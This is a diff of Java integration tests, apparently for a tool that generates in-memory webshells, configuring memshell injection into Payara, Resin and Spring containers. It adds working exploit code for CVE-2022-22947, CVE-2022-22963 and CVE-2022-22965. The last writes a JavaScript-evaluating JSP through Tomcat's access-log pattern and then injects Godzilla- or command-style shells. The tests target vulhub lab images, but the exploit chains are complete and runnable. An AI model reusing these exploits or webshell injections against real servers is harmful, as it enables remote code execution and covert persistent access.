public static final GenericContainer<?> python = buildPythonContainer(network);
|
||||||
|
|
||||||
|
@Container
|
||||||
|
public static final GenericContainer<?> container = buildContainer(CONFIG, network);
|
||||||
|
|
||||||
|
@Override
|
||||||
|
protected ContainerTestConfig getConfig() {
|
||||||
|
return CONFIG;
|
||||||
|
}
|
||||||
|
}
|
||||||
+60
@@ -0,0 +1,60 @@
|
|||||||
|
package com.reajason.javaweb.integration.memshell.payara;
|
||||||
|
|
||||||
|
import com.reajason.javaweb.integration.AbstractContainerTest;
|
||||||
|
import com.reajason.javaweb.integration.ContainerTestConfig;
|
||||||
|
import com.reajason.javaweb.memshell.ShellTool;
|
||||||
|
import com.reajason.javaweb.memshell.ShellType;
|
||||||
|
import com.reajason.javaweb.packer.Packers;
|
||||||
|
import net.bytebuddy.jar.asm.Opcodes;
|
||||||
|
import org.testcontainers.containers.GenericContainer;
|
||||||
|
import org.testcontainers.containers.Network;
|
||||||
|
import org.testcontainers.containers.wait.strategy.Wait;
|
||||||
|
import org.testcontainers.junit.jupiter.Container;
|
||||||
|
import org.testcontainers.junit.jupiter.Testcontainers;
|
||||||
|
|
||||||
|
import java.util.List;
|
||||||
|
|
||||||
|
import static com.reajason.javaweb.integration.ContainerTool.warJakartaFile;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @author ReaJason
|
||||||
|
* @since 2024/12/12
|
||||||
|
*/
|
||||||
|
@Testcontainers
|
||||||
|
public class Payara6202511ContainerTest extends AbstractContainerTest {
|
||||||
|
private static final ContainerTestConfig CONFIG = ContainerTestConfig.glassFish(
|
||||||
|
"payara/server-web:6.2025.11-jdk21",
|
||||||
|
"/opt/payara/deployments/app.war")
|
||||||
|
.warFile(warJakartaFile)
|
||||||
|
.jakarta(true)
|
||||||
|
.targetJdkVersion(Opcodes.V11)
|
||||||
|
.waitStrategy(Wait.forLogMessage(".*JMXService.*", 1))
|
||||||
|
.assertLogs(false)
|
||||||
|
.supportedShellTypes(List.of(
|
||||||
|
ShellType.JAKARTA_FILTER,
|
||||||
|
ShellType.JAKARTA_LISTENER,
|
||||||
|
ShellType.JAKARTA_VALVE,
|
||||||
|
ShellType.AGENT_FILTER_CHAIN,
|
||||||
|
ShellType.CATALINA_AGENT_CONTEXT_VALVE
|
||||||
|
))
|
||||||
|
.testPackers(List.of(Packers.JSP))
|
||||||
|
.unSupportedShellTools(List.of(ShellTool.AntSword))
|
||||||
|
.probeShellTypes(List.of(
|
||||||
|
ShellType.JAKARTA_FILTER,
|
||||||
|
ShellType.JAKARTA_LISTENER,
|
||||||
|
ShellType.JAKARTA_VALVE
|
||||||
|
))
|
||||||
|
.build();
|
||||||
|
|
||||||
|
static Network network = newNetwork();
|
||||||
|
@Container
|
||||||
|
public static final GenericContainer<?> python = buildPythonContainer(network);
|
||||||
|
|
||||||
|
@Container
|
||||||
|
public static final GenericContainer<?> container = buildContainer(CONFIG, network);
|
||||||
|
|
||||||
|
@Override
|
||||||
|
protected ContainerTestConfig getConfig() {
|
||||||
|
return CONFIG;
|
||||||
|
}
|
||||||
|
}
|
||||||
+60
@@ -0,0 +1,60 @@
|
|||||||
|
package com.reajason.javaweb.integration.memshell.payara;
|
||||||
|
|
||||||
|
import com.reajason.javaweb.integration.AbstractContainerTest;
|
||||||
|
import com.reajason.javaweb.integration.ContainerTestConfig;
|
||||||
|
import com.reajason.javaweb.memshell.ShellTool;
|
||||||
|
import com.reajason.javaweb.memshell.ShellType;
|
||||||
|
import com.reajason.javaweb.packer.Packers;
|
||||||
|
import net.bytebuddy.jar.asm.Opcodes;
|
||||||
|
import org.testcontainers.containers.GenericContainer;
|
||||||
|
import org.testcontainers.containers.Network;
|
||||||
|
import org.testcontainers.containers.wait.strategy.Wait;
|
||||||
|
import org.testcontainers.junit.jupiter.Container;
|
||||||
|
import org.testcontainers.junit.jupiter.Testcontainers;
|
||||||
|
|
||||||
|
import java.util.List;
|
||||||
|
|
||||||
|
import static com.reajason.javaweb.integration.ContainerTool.warJakartaFile;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @author ReaJason
|
||||||
|
* @since 2024/12/12
|
||||||
|
*/
|
||||||
|
@Testcontainers
|
||||||
|
public class Payara7202606ContainerTest extends AbstractContainerTest {
|
||||||
|
private static final ContainerTestConfig CONFIG = ContainerTestConfig.glassFish(
|
||||||
|
"payara/server-web:7.2026.6",
|
||||||
|
"/opt/payara/deployments/app.war")
|
||||||
|
.warFile(warJakartaFile)
|
||||||
|
.jakarta(true)
|
||||||
|
.targetJdkVersion(Opcodes.V11)
|
||||||
|
.waitStrategy(Wait.forHttp("/app/").forPort(8080).forStatusCode(200))
|
||||||
|
.assertLogs(false)
|
||||||
|
.supportedShellTypes(List.of(
|
||||||
|
ShellType.JAKARTA_FILTER,
|
||||||
|
ShellType.JAKARTA_LISTENER,
|
||||||
|
ShellType.JAKARTA_VALVE,
|
||||||
|
ShellType.AGENT_FILTER_CHAIN,
|
||||||
|
ShellType.CATALINA_AGENT_CONTEXT_VALVE
|
||||||
|
))
|
||||||
|
.testPackers(List.of(Packers.JSP))
|
||||||
|
.unSupportedShellTools(List.of(ShellTool.AntSword))
|
||||||
|
.probeShellTypes(List.of(
|
||||||
|
ShellType.JAKARTA_FILTER,
|
||||||
|
ShellType.JAKARTA_LISTENER,
|
||||||
|
ShellType.JAKARTA_VALVE
|
||||||
|
))
|
||||||
|
.build();
|
||||||
|
|
||||||
|
static Network network = newNetwork();
|
||||||
|
@Container
|
||||||
|
public static final GenericContainer<?> python = buildPythonContainer(network);
|
||||||
|
|
||||||
|
@Container
|
||||||
|
public static final GenericContainer<?> container = buildContainer(CONFIG, network);
|
||||||
|
|
||||||
|
@Override
|
||||||
|
protected ContainerTestConfig getConfig() {
|
||||||
|
return CONFIG;
|
||||||
|
}
|
||||||
|
}
|
||||||
+58
@@ -0,0 +1,58 @@
|
|||||||
|
package com.reajason.javaweb.integration.memshell.resin;
|
||||||
|
|
||||||
|
import com.reajason.javaweb.Server;
|
||||||
|
import com.reajason.javaweb.integration.AbstractContainerTest;
|
||||||
|
import com.reajason.javaweb.integration.ContainerTestConfig;
|
||||||
|
import com.reajason.javaweb.integration.ContainerTool;
|
||||||
|
import com.reajason.javaweb.memshell.ShellType;
|
||||||
|
import com.reajason.javaweb.packer.Packers;
|
||||||
|
import net.bytebuddy.jar.asm.Opcodes;
|
||||||
|
import org.testcontainers.containers.GenericContainer;
|
||||||
|
import org.testcontainers.containers.Network;
|
||||||
|
import org.testcontainers.junit.jupiter.Container;
|
||||||
|
import org.testcontainers.junit.jupiter.Testcontainers;
|
||||||
|
|
||||||
|
import java.util.List;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @author ReaJason
|
||||||
|
* @since 2026/7/4
|
||||||
|
*/
|
||||||
|
@Testcontainers
|
||||||
|
public class Resin2117ContainerTest extends AbstractContainerTest {
|
||||||
|
private static final ContainerTestConfig CONFIG = ContainerTestConfig
|
||||||
|
.builder()
|
||||||
|
.imageName("reajason/resin:2.1.17-jdk6")
|
||||||
|
.server(Server.Resin2)
|
||||||
|
.warFile(ContainerTool.servlet2WarFile)
|
||||||
|
.warDeployPath("/usr/local/resin2/webapps/app.war")
|
||||||
|
.pidScript(ContainerTool.resinPid)
|
||||||
|
.targetJdkVersion(Opcodes.V1_6)
|
||||||
|
.supportedShellTypes(List.of(
|
||||||
|
ShellType.SERVLET,
|
||||||
|
ShellType.FILTER
|
||||||
|
))
|
||||||
|
.probeShellTypes(List.of(
|
||||||
|
ShellType.SERVLET,
|
||||||
|
ShellType.FILTER
|
||||||
|
))
|
||||||
|
.testPackers(List.of(Packers.JSP))
|
||||||
|
.probeShellTypes(List.of(
|
||||||
|
ShellType.SERVLET,
|
||||||
|
ShellType.FILTER
|
||||||
|
))
|
||||||
|
.enableJspPackerTest(false)
|
||||||
|
.build();
|
||||||
|
|
||||||
|
static Network network = newNetwork();
|
||||||
|
@Container
|
||||||
|
public static final GenericContainer<?> python = buildPythonContainer(network);
|
||||||
|
|
||||||
|
@Container
|
||||||
|
public static final GenericContainer<?> container = buildContainer(CONFIG, network);
|
||||||
|
|
||||||
|
@Override
|
||||||
|
protected ContainerTestConfig getConfig() {
|
||||||
|
return CONFIG;
|
||||||
|
}
|
||||||
|
}
|
||||||
+129
@@ -0,0 +1,129 @@
|
|||||||
|
package com.reajason.javaweb.integration.memshell.springwebflux;
|
||||||
|
|
||||||
|
import com.reajason.javaweb.Server;
|
||||||
|
import com.reajason.javaweb.integration.ShellAssertion;
|
||||||
|
import com.reajason.javaweb.memshell.MemShellResult;
|
||||||
|
import com.reajason.javaweb.memshell.ShellTool;
|
||||||
|
import com.reajason.javaweb.memshell.ShellType;
|
||||||
|
import com.reajason.javaweb.memshell.config.ShellToolConfig;
|
||||||
|
import com.reajason.javaweb.packer.Packers;
|
||||||
|
import lombok.SneakyThrows;
|
||||||
|
import lombok.extern.slf4j.Slf4j;
|
||||||
|
import net.bytebuddy.jar.asm.Opcodes;
|
||||||
|
import okhttp3.MediaType;
|
||||||
|
import okhttp3.Request;
|
||||||
|
import okhttp3.RequestBody;
|
||||||
|
import okhttp3.Response;
|
||||||
|
import org.apache.commons.lang3.RandomStringUtils;
|
||||||
|
import org.apache.commons.lang3.tuple.Pair;
|
||||||
|
import org.junit.jupiter.api.DisplayName;
|
||||||
|
import org.junit.jupiter.api.Test;
|
||||||
|
import org.testcontainers.containers.GenericContainer;
|
||||||
|
import org.testcontainers.containers.wait.strategy.Wait;
|
||||||
|
import org.testcontainers.junit.jupiter.Container;
|
||||||
|
import org.testcontainers.junit.jupiter.Testcontainers;
|
||||||
|
|
||||||
|
import java.time.Duration;
|
||||||
|
|
||||||
|
import static org.junit.jupiter.api.Assertions.assertNotEquals;
|
||||||
|
|
||||||
|
@Testcontainers
|
||||||
|
@Slf4j
|
||||||
|
public class CVE202222947Test {
|
||||||
|
|
||||||
|
@Container
|
||||||
|
public static final GenericContainer<?> cve202222947 =
|
||||||
|
new GenericContainer<>("vulhub/spring-cloud-gateway:3.1.0")
|
||||||
|
.withExposedPorts(8080)
|
||||||
|
.waitingFor(Wait.forHttp("/")
|
||||||
|
.withStartupTimeout(Duration.ofMinutes(3)));
|
||||||
|
|
||||||
|
@Test
|
||||||
|
@DisplayName("CVE-2022-22947")
|
||||||
|
void CVE_2022_22947() {
|
||||||
|
String url = getUrl();
|
||||||
|
String shellType = ShellType.SPRING_WEBFLUX_WEB_FILTER;
|
||||||
|
String shellTool = ShellTool.Command;
|
||||||
|
Packers packer = Packers.SpELSpringGzip;
|
||||||
|
Pair<String, String> urls = ShellAssertion.getUrls(url, shellType, shellTool, packer);
|
||||||
|
ShellToolConfig shellToolConfig = ShellAssertion.getShellToolConfig(shellType, shellTool, packer);
|
||||||
|
MemShellResult generateResult = ShellAssertion.generate(
|
||||||
|
urls.getRight(),
|
||||||
|
Server.SpringWebFlux,
|
||||||
|
null,
|
||||||
|
shellType,
|
||||||
|
shellTool,
|
||||||
|
Opcodes.V1_8,
|
||||||
|
shellToolConfig,
|
||||||
|
packer);
|
||||||
|
|
||||||
|
String content = packer.getInstance().pack(generateResult.toClassPackerConfig());
|
||||||
|
injectBySpringCloudGateway(url, content);
|
||||||
|
ShellAssertion.assertShellIsOk(generateResult, urls.getLeft(), shellTool, shellType, null, null);
|
||||||
|
}
|
||||||
|
|
||||||
|
@SneakyThrows
|
||||||
|
private void injectBySpringCloudGateway(String url, String expression) {
|
||||||
|
String routeId = "memshell" + RandomStringUtils.randomAlphabetic(8);
|
||||||
|
String routeUrl = url + "/actuator/gateway/routes/" + routeId;
|
||||||
|
try {
|
||||||
|
String body = """
|
||||||
|
{
|
||||||
|
"id": "%s",
|
||||||
|
"filters": [{
|
||||||
|
"name": "AddResponseHeader",
|
||||||
|
"args": {
|
||||||
|
"name": "Result",
|
||||||
|
"value": "#{%s}"
|
||||||
|
}
|
||||||
|
}],
|
||||||
|
"uri": "http://example.com"
|
||||||
|
}
|
||||||
|
""".formatted(routeId, expression);
|
||||||
|
post(routeUrl, body, MediaType.parse("application/json"));
|
||||||
|
post(url + "/actuator/gateway/refresh", "", null);
|
||||||
|
} finally {
|
||||||
|
deleteQuietly(routeUrl);
|
||||||
|
postQuietly(url + "/actuator/gateway/refresh");
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
@SneakyThrows
|
||||||
|
private static void post(String url, String body, MediaType mediaType) {
|
||||||
|
Request request = new Request.Builder()
|
||||||
|
.url(url)
|
||||||
|
.post(RequestBody.create(body, mediaType))
|
||||||
|
.build();
|
||||||
|
try (Response response = new okhttp3.OkHttpClient().newCall(request).execute()) {
|
||||||
|
assertNotEquals(404, response.code());
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
@SneakyThrows
|
||||||
|
private static void postQuietly(String url) {
|
||||||
|
Request request = new Request.Builder()
|
||||||
|
.url(url)
|
||||||
|
.post(RequestBody.create("", null))
|
||||||
|
.build();
|
||||||
|
try (Response ignored = new okhttp3.OkHttpClient().newCall(request).execute()) {
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
@SneakyThrows
|
||||||
|
private static void deleteQuietly(String url) {
|
||||||
|
Request request = new Request.Builder()
|
||||||
|
.url(url)
|
||||||
|
.delete()
|
||||||
|
.build();
|
||||||
|
try (Response ignored = new okhttp3.OkHttpClient().newCall(request).execute()) {
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
private static String getUrl() {
|
||||||
|
String host = cve202222947.getHost();
|
||||||
|
int port = cve202222947.getMappedPort(8080);
|
||||||
|
String url = "http://" + host + ":" + port;
|
||||||
|
log.info("container started, app url is : {}", url);
|
||||||
|
return url;
|
||||||
|
}
|
||||||
|
}
|
||||||
+84
@@ -0,0 +1,84 @@
|
|||||||
|
package com.reajason.javaweb.integration.memshell.springwebflux;
|
||||||
|
|
||||||
|
import com.reajason.javaweb.Server;
|
||||||
|
import com.reajason.javaweb.integration.ShellAssertion;
|
||||||
|
import com.reajason.javaweb.memshell.MemShellResult;
|
||||||
|
import com.reajason.javaweb.memshell.ShellTool;
|
||||||
|
import com.reajason.javaweb.memshell.ShellType;
|
||||||
|
import com.reajason.javaweb.memshell.config.ShellToolConfig;
|
||||||
|
import com.reajason.javaweb.packer.Packers;
|
||||||
|
import lombok.SneakyThrows;
|
||||||
|
import lombok.extern.slf4j.Slf4j;
|
||||||
|
import net.bytebuddy.jar.asm.Opcodes;
|
||||||
|
import okhttp3.MediaType;
|
||||||
|
import okhttp3.Request;
|
||||||
|
import okhttp3.RequestBody;
|
||||||
|
import okhttp3.Response;
|
||||||
|
import org.apache.commons.lang3.tuple.Pair;
|
||||||
|
import org.junit.jupiter.api.DisplayName;
|
||||||
|
import org.junit.jupiter.api.Test;
|
||||||
|
import org.testcontainers.containers.GenericContainer;
|
||||||
|
import org.testcontainers.containers.wait.strategy.Wait;
|
||||||
|
import org.testcontainers.junit.jupiter.Container;
|
||||||
|
import org.testcontainers.junit.jupiter.Testcontainers;
|
||||||
|
|
||||||
|
import java.time.Duration;
|
||||||
|
|
||||||
|
import static org.junit.jupiter.api.Assertions.assertNotEquals;
|
||||||
|
|
||||||
|
@Testcontainers
|
||||||
|
@Slf4j
|
||||||
|
public class CVE202222963Test {
|
||||||
|
|
||||||
|
@Container
|
||||||
|
public static final GenericContainer<?> cve202222963 =
|
||||||
|
new GenericContainer<>("vulhub/spring-cloud-function:3.2.2")
|
||||||
|
.withExposedPorts(8080)
|
||||||
|
.waitingFor(Wait.forHttp("/uppercase")
|
||||||
|
.forStatusCodeMatching(code -> code == 200 || code == 405)
|
||||||
|
.withStartupTimeout(Duration.ofMinutes(3)));
|
||||||
|
|
||||||
|
@Test
|
||||||
|
@DisplayName("CVE-2022-22963")
|
||||||
|
void CVE_2022_22963() {
|
||||||
|
String url = getUrl();
|
||||||
|
String shellType = ShellType.SPRING_WEBFLUX_WEB_FILTER;
|
||||||
|
String shellTool = ShellTool.Command;
|
||||||
|
Packers packer = Packers.SpELSpringGzip;
|
||||||
|
Pair<String, String> urls = ShellAssertion.getUrls(url, shellType, shellTool, packer);
|
||||||
|
ShellToolConfig shellToolConfig = ShellAssertion.getShellToolConfig(shellType, shellTool, packer);
|
||||||
|
MemShellResult generateResult = ShellAssertion.generate(
|
||||||
|
urls.getRight(),
|
||||||
|
Server.SpringWebFlux,
|
||||||
|
null,
|
||||||
|
shellType,
|
||||||
|
shellTool,
|
||||||
|
Opcodes.V1_8,
|
||||||
|
shellToolConfig,
|
||||||
|
packer);
|
||||||
|
|
||||||
|
String content = packer.getInstance().pack(generateResult.toClassPackerConfig());
|
||||||
|
injectBySpringCloudFunction(url, content);
|
||||||
|
ShellAssertion.assertShellIsOk(generateResult, urls.getLeft(), shellTool, shellType, null, null);
|
||||||
|
}
|
||||||
|
|
||||||
|
@SneakyThrows
|
||||||
|
private void injectBySpringCloudFunction(String url, String expression) {
|
||||||
|
Request request = new Request.Builder()
|
||||||
|
.url(url + "/functionRouter")
|
||||||
|
.header("spring.cloud.function.routing-expression", expression)
|
||||||
|
.post(RequestBody.create("test", MediaType.parse("text/plain")))
|
||||||
|
.build();
|
||||||
|
try (Response response = new okhttp3.OkHttpClient().newCall(request).execute()) {
|
||||||
|
assertNotEquals(404, response.code());
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
private static String getUrl() {
|
||||||
|
String host = cve202222963.getHost();
|
||||||
|
int port = cve202222963.getMappedPort(8080);
|
||||||
|
String url = "http://" + host + ":" + port;
|
||||||
|
log.info("container started, app url is : {}", url);
|
||||||
|
return url;
|
||||||
|
}
|
||||||
|
}
|
||||||
+53
@@ -0,0 +1,53 @@
|
|||||||
|
package com.reajason.javaweb.integration.memshell.springwebflux;
|
||||||
|
|
||||||
|
import com.reajason.javaweb.Server;
|
||||||
|
import com.reajason.javaweb.integration.AbstractContainerTest;
|
||||||
|
import com.reajason.javaweb.integration.ContainerTestConfig;
|
||||||
|
import com.reajason.javaweb.integration.ContainerTool;
|
||||||
|
import com.reajason.javaweb.memshell.ShellType;
|
||||||
|
import com.reajason.javaweb.packer.Packers;
|
||||||
|
import net.bytebuddy.jar.asm.Opcodes;
|
||||||
|
import org.testcontainers.containers.GenericContainer;
|
||||||
|
import org.testcontainers.containers.Network;
|
||||||
|
import org.testcontainers.junit.jupiter.Container;
|
||||||
|
import org.testcontainers.junit.jupiter.Testcontainers;
|
||||||
|
|
||||||
|
import java.util.List;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @author ReaJason
|
||||||
|
* @since 2026/08/21
|
||||||
|
*/
|
||||||
|
@Testcontainers
|
||||||
|
public class SpringBoot4WebFluxContainerTest extends AbstractContainerTest {
|
||||||
|
private static final ContainerTestConfig CONFIG = ContainerTestConfig.builder()
|
||||||
|
.imageName("eclipse-temurin:21.0.11_10-jdk")
|
||||||
|
.jarFile(ContainerTool.springBoot4WebfluxJarFile)
|
||||||
|
.jarDeployPath("/app/app.jar")
|
||||||
|
.command("java -jar /app/app.jar")
|
||||||
|
.server(Server.SpringWebFlux)
|
||||||
|
.targetJdkVersion(Opcodes.V21)
|
||||||
|
.enableJspPackerTest(false)
|
||||||
|
.contextPath("")
|
||||||
|
.healthCheckPath("/test")
|
||||||
|
.jattachFile(null)
|
||||||
|
.supportedShellTypes(List.of(
|
||||||
|
ShellType.SPRING_WEBFLUX_WEB_FILTER,
|
||||||
|
ShellType.SPRING_WEBFLUX_HANDLER_METHOD,
|
||||||
|
ShellType.NETTY_HANDLER
|
||||||
|
))
|
||||||
|
.testPackers(List.of(Packers.Base64))
|
||||||
|
.build();
|
||||||
|
|
||||||
|
static Network network = newNetwork();
|
||||||
|
@Container
|
||||||
|
public static final GenericContainer<?> python = buildPythonContainer(network);
|
||||||
|
|
||||||
|
@Container
|
||||||
|
public static final GenericContainer<?> container = buildContainer(CONFIG, network);
|
||||||
|
|
||||||
|
@Override
|
||||||
|
protected ContainerTestConfig getConfig() {
|
||||||
|
return CONFIG;
|
||||||
|
}
|
||||||
|
}
|
||||||
+165
@@ -0,0 +1,165 @@
|
|||||||
|
package com.reajason.javaweb.integration.memshell.springwebmvc;
|
||||||
|
|
||||||
|
import com.reajason.javaweb.Server;
|
||||||
|
import com.reajason.javaweb.integration.ShellAssertion;
|
||||||
|
import com.reajason.javaweb.memshell.MemShellResult;
|
||||||
|
import com.reajason.javaweb.memshell.ShellTool;
|
||||||
|
import com.reajason.javaweb.memshell.ShellType;
|
||||||
|
import com.reajason.javaweb.memshell.config.ShellToolConfig;
|
||||||
|
import com.reajason.javaweb.packer.Packers;
|
||||||
|
import lombok.SneakyThrows;
|
||||||
|
import lombok.extern.slf4j.Slf4j;
|
||||||
|
import net.bytebuddy.jar.asm.Opcodes;
|
||||||
|
import okhttp3.*;
|
||||||
|
import org.apache.commons.lang3.tuple.Pair;
|
||||||
|
import org.junit.jupiter.api.DisplayName;
|
||||||
|
import org.junit.jupiter.api.Test;
|
||||||
|
import org.testcontainers.containers.GenericContainer;
|
||||||
|
import org.testcontainers.containers.wait.strategy.Wait;
|
||||||
|
import org.testcontainers.junit.jupiter.Container;
|
||||||
|
import org.testcontainers.junit.jupiter.Testcontainers;
|
||||||
|
|
||||||
|
import java.time.Duration;
|
||||||
|
import java.util.Objects;
|
||||||
|
|
||||||
|
import static org.junit.jupiter.api.Assertions.assertNotEquals;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @author ReaJason
|
||||||
|
* @since 2026/7/16
|
||||||
|
*/
|
||||||
|
@Testcontainers
|
||||||
|
@Slf4j
|
||||||
|
public class CVE202222965Test {
|
||||||
|
|
||||||
|
private static final OkHttpClient CLIENT = new OkHttpClient();
|
||||||
|
private static final String JSP_PATTERN = "%{c2}i { " +
|
||||||
|
"StringBuilder script = new StringBuilder(); " +
|
||||||
|
"String line; " +
|
||||||
|
"java.io.BufferedReader reader = request.getReader(); " +
|
||||||
|
"while ((line = reader.readLine()) != null) { script.append(line).append('\\n'); } " +
|
||||||
|
"javax.script.ScriptEngine engine = new javax.script.ScriptEngineManager().getEngineByName(\"js\"); " +
|
||||||
|
"if (engine == null) { throw new IllegalStateException(\"js engine is null\"); } " +
|
||||||
|
"Object result = engine.eval(script.toString()); " +
|
||||||
|
"if (result != null) { out.print(result); } " +
|
||||||
|
"} %{suffix}i";
|
||||||
|
|
||||||
|
@Container
|
||||||
|
public static final GenericContainer<?> cve202222965 =
|
||||||
|
new GenericContainer<>("vulhub/spring-webmvc:5.3.17")
|
||||||
|
.withExposedPorts(8080)
|
||||||
|
.waitingFor(Wait.forHttp("/")
|
||||||
|
.withStartupTimeout(Duration.ofMinutes(3)));
|
||||||
|
|
||||||
|
@Test
|
||||||
|
@DisplayName("CVE-2022-22965")
|
||||||
|
void CVE_2022_22965() {
|
||||||
|
String url = getUrl();
|
||||||
|
String jsEngineJspUrl = writeJsEngineJsp(url);
|
||||||
|
assertJsEngineJspIsReady(jsEngineJspUrl);
|
||||||
|
clearAccessLogPattern(url);
|
||||||
|
|
||||||
|
String shellType = ShellType.FILTER;
|
||||||
|
String shellTool = ShellTool.Command;
|
||||||
|
Packers packer = Packers.ScriptEngine;
|
||||||
|
Pair<String, String> urls = ShellAssertion.getUrls(url, shellType, shellTool, packer);
|
||||||
|
ShellToolConfig shellToolConfig = ShellAssertion.getShellToolConfig(shellType, shellTool, packer);
|
||||||
|
MemShellResult generateResult = ShellAssertion.generate(
|
||||||
|
urls.getRight(),
|
||||||
|
Server.Tomcat,
|
||||||
|
null,
|
||||||
|
shellType,
|
||||||
|
shellTool,
|
||||||
|
Opcodes.V11,
|
||||||
|
shellToolConfig,
|
||||||
|
packer);
|
||||||
|
|
||||||
|
executeScript(jsEngineJspUrl, packer.getInstance().pack(generateResult.toClassPackerConfig()));
|
||||||
|
ShellAssertion.assertShellIsOk(generateResult, urls.getLeft(), shellTool, shellType, null, null);
|
||||||
|
}
|
||||||
|
|
||||||
|
@SneakyThrows
|
||||||
|
private String writeJsEngineJsp(String url) {
|
||||||
|
HttpUrl exploitUrl = Objects.requireNonNull(HttpUrl.parse(url)).newBuilder()
|
||||||
|
.addQueryParameter("class.module.classLoader.resources.context.parent.pipeline.first.pattern", JSP_PATTERN)
|
||||||
|
.addQueryParameter("class.module.classLoader.resources.context.parent.pipeline.first.suffix", ".jsp")
|
||||||
|
.addQueryParameter("class.module.classLoader.resources.context.parent.pipeline.first.directory", "webapps/ROOT")
|
||||||
|
.addQueryParameter("class.module.classLoader.resources.context.parent.pipeline.first.prefix", "memshellparty")
|
||||||
|
.addQueryParameter("class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat", "")
|
||||||
|
.addQueryParameter("class.module.classLoader.resources.context.parent.pipeline.first.buffered", "false")
|
||||||
|
.build();
|
||||||
|
Request request = new Request.Builder()
|
||||||
|
.url(exploitUrl)
|
||||||
|
.header("c2", "<%")
|
||||||
|
.header("suffix", "%>//")
|
||||||
|
.build();
|
||||||
|
try (Response response = CLIENT.newCall(request).execute()) {
|
||||||
|
assertNotEquals(404, response.code());
|
||||||
|
}
|
||||||
|
writeJsEngineJspAccessLog(url);
|
||||||
|
return url + "/memshellparty.jsp";
|
||||||
|
}
|
||||||
|
|
||||||
|
@SneakyThrows
|
||||||
|
private void writeJsEngineJspAccessLog(String url) {
|
||||||
|
Request request = new Request.Builder()
|
||||||
|
.url(url)
|
||||||
|
.header("c2", "<%")
|
||||||
|
.header("suffix", "%>//")
|
||||||
|
.build();
|
||||||
|
try (Response response = CLIENT.newCall(request).execute()) {
|
||||||
|
assertNotEquals(404, response.code());
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
@SneakyThrows
|
||||||
|
private void assertJsEngineJspIsReady(String jsEngineJspUrl) {
|
||||||
|
for (int i = 0; i < 10; i++) {
|
||||||
|
Request request = new Request.Builder()
|
||||||
|
.url(jsEngineJspUrl)
|
||||||
|
.header("c2", "<%")
|
||||||
|
.header("suffix", "%>//")
|
||||||
|
.post(RequestBody.create("1 + 1", MediaType.parse("text/plain")))
|
||||||
|
.build();
|
||||||
|
try (Response response = CLIENT.newCall(request).execute()) {
|
||||||
|
if (response.code() == 200 && Objects.requireNonNull(response.body()).string().contains("2")) {
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
Thread.sleep(500);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
@SneakyThrows
|
||||||
|
private void executeScript(String jsEngineJspUrl, String script) {
|
||||||
|
Request request = new Request.Builder()
|
||||||
|
.url(jsEngineJspUrl)
|
||||||
|
.post(RequestBody.create(script, MediaType.parse("text/plain")))
|
||||||
|
.build();
|
||||||
|
try (Response response = CLIENT.newCall(request).execute()) {
|
||||||
|
assertNotEquals(404, response.code());
|
||||||
|
assertNotEquals(500, response.code(), response.body().string());
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
@SneakyThrows
|
||||||
|
private void clearAccessLogPattern(String url) {
|
||||||
|
HttpUrl resetUrl = Objects.requireNonNull(HttpUrl.parse(url)).newBuilder()
|
||||||
|
.addQueryParameter("class.module.classLoader.resources.context.parent.pipeline.first.pattern", "")
|
||||||
|
.build();
|
||||||
|
Request request = new Request.Builder()
|
||||||
|
.url(resetUrl)
|
||||||
|
.build();
|
||||||
|
try (Response response = CLIENT.newCall(request).execute()) {
|
||||||
|
assertNotEquals(404, response.code());
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
private static String getUrl() {
|
||||||
|
String host = cve202222965.getHost();
|
||||||
|
int port = cve202222965.getMappedPort(8080);
|
||||||
|
String url = "http://" + host + ":" + port;
|
||||||
|
log.info("container started, app url is : {}", url);
|
||||||
|
return url;
|
||||||
|
}
|
||||||
|
}
|
||||||
+2
-1
@@ -59,7 +59,8 @@ public class SpringBoot3ExpressionContainerTest {
|
|||||||
return Stream.of(
|
return Stream.of(
|
||||||
arguments(imageName, ShellType.JAKARTA_VALVE, ShellTool.Godzilla, Packers.SpELSpringGzipJDK17),
|
arguments(imageName, ShellType.JAKARTA_VALVE, ShellTool.Godzilla, Packers.SpELSpringGzipJDK17),
|
||||||
arguments(imageName, ShellType.JAKARTA_VALVE, ShellTool.Godzilla, Packers.OGNLSpringGzipJDK17),
|
arguments(imageName, ShellType.JAKARTA_VALVE, ShellTool.Godzilla, Packers.OGNLSpringGzipJDK17),
|
||||||
arguments(imageName, ShellType.JAKARTA_VALVE, ShellTool.Godzilla, Packers.JXPathSpringGzipJDK17)
|
arguments(imageName, ShellType.JAKARTA_VALVE, ShellTool.Godzilla, Packers.JXPathSpringGzipJDK17),
|
||||||
|
arguments(imageName, ShellType.JAKARTA_VALVE, ShellTool.Godzilla, Packers.FreemarkerSpELSpringGzipJDK17)
|
||||||
);
|
);
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|||||||
+91
@@ -0,0 +1,91 @@
|
|||||||
|
package com.reajason.javaweb.integration.memshell.springwebmvc;
|
||||||
|
|
||||||
|
import com.reajason.javaweb.Server;
|
||||||
|
import com.reajason.javaweb.integration.AbstractContainerTest;
|
||||||
|
import com.reajason.javaweb.integration.ContainerTestConfig;
|
||||||
|
import com.reajason.javaweb.integration.ContainerTool;
|
||||||
|
import com.reajason.javaweb.memshell.ShellTool;
|
||||||
|
import com.reajason.javaweb.memshell.ShellType;
|
||||||
|
import com.reajason.javaweb.packer.Packers;
|
||||||
|
import net.bytebuddy.jar.asm.Opcodes;
|
||||||
|
import org.junit.jupiter.params.ParameterizedTest;
|
||||||
|
import org.junit.jupiter.params.provider.Arguments;
|
||||||
|
import org.junit.jupiter.params.provider.MethodSource;
|
||||||
|
import org.testcontainers.containers.GenericContainer;
|
